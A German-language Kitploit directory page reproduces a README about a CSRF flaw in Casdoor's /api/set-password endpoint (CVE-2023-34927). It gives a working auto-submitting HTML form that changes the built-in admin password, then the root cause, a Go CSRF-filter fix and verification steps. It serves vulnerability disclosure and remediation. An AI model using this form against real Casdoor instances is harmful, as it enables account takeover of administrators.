Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
csrf_casdoor — Proof-of-Concept-CSRF-Exploit für den `/api/set-password`-Endpunkt von Casdoor (CVE-2023-34927), der unbefugte Passwortänderungen über Cross-Site-POST-Anfragen ermöglicht. Enthält einen Go-basierten CSRF-Filter-Fix. | Kitploit
Tools/GitHubGitHub/vanlam2001/csrf_casdoor
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsAuthentifizierung
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Proof-of-Concept-CSRF-Exploit für den `/api/set-password`-Endpunkt von Casdoor (CVE-2023-34927), der unbefugte Passwortänderungen über Cross-Site-POST-Anfragen ermöglicht. Enthält einen Go-basierten CSRF-Filter-Fix.

Repository anzeigen
11vor 7 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Casdoor – Cross-Site Request Forgery (CSRF)

Zusammenfassung

  • Schwachstelle: CSRF in /api/set-password ermöglicht Passwortänderungen ohne Zustimmung.
  • Betroffene Versionen: Alle Versionen der Software sind betroffen. Derzeit ist keine gepatchte Version verfügbar.
  • CVE: CVE-2023-34927 (neueste noch nicht zugewiesen).
  • Exploit-Autor: Van Lam Nguyen.
  • Getestet auf: Windows

Auswirkung

  • Wenn ein Opfer bei Casdoor angemeldet ist, kann ein Cross-Site-POST das Passwort des Opfers ändern (z. B. built-in/admin), was zur Kontoübernahme führt.

Angriffsvoraussetzungen

  • Das Opfer ist authentifiziert und besitzt ein gültiges casdoor_session_id-Cookie.
  • Das Opfer besucht eine bösartige Seite, die automatisch einen POST an /api/set-password absendet.

Proof of Concept

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Ursache

  • Zustandsändernde Endpunkte unter /api/* akzeptieren cookie-authentifizierte Anfragen, ohne Same-Origin-Prüfungen (Origin/Referer) oder CSRF-Token zu erzwingen.

Lösungsübersicht

  • Fügen Sie einen serverseitigen CSRF-Filter hinzu, um Cross-Site-, cookie-basierte POST/PUT/DELETE/PATCH-Anfragen unter /api/* abzulehnen.
  • Erlauben Sie Anfragen, die eine explizite Nicht-Cookie-Authentifizierung mit sich führen (z. B. Authorization, Basic Auth, Client-Credentials oder accessToken), oder Anfragen ohne Browser-Session-Cookies (typische Server-zu-Server-Aufrufe).

Implementierung

  • Verwenden Sie routers.CSRFFilter, implementiert in csrf_filter.go. Dieser Filter:
    • Kehrt früh zurück für Methoden, die den Zustand nicht ändern.
    • Erlaubt Anfragen mit expliziter Nicht-Cookie-Authentifizierung.
    • Blockiert Cross-Site-Anfragen, wenn ein Session-Cookie vorhanden ist und der Origin nicht mit dem Host übereinstimmt.

Integration in Casdoor

  1. Kopieren Sie csrf_filter.go in das vorhandene routers-Paket des Casdoor-Projekts. Ändern oder löschen Sie nichts in dieser Datei.
  2. Registrieren Sie den Filter früh in der HTTP-Pipeline (innerhalb von main):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verifizierung

  • Nach der Registrierung des Filters wiederholen Sie das obige PoC, während Sie angemeldet sind. Die Anfrage sollte mit Unauthorized operation abgelehnt werden und der Server sollte CSRF check failed protokollieren.
  • Cross-Origin-API-Aufrufe, die Authorization-Header oder accessToken-Parameter enthalten, sollten weiterhin funktionieren.

Repository-Dateien

  • csrf_filter.go: CSRF-Filter zum Kopieren in das routers-Paket von Casdoor.
  • poc.html: Minimale Seite, die den CSRF-Angriff reproduziert.
  • README.md: Dieses Dokument, das die Schwachstelle und die Lösungsschritte beschreibt.

Referenzen

  • Casdoor: https://casdoor.org/
  • Version: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Video

  • Youtube: https://youtu.be/N5VENgiObjY
Tool herunterladen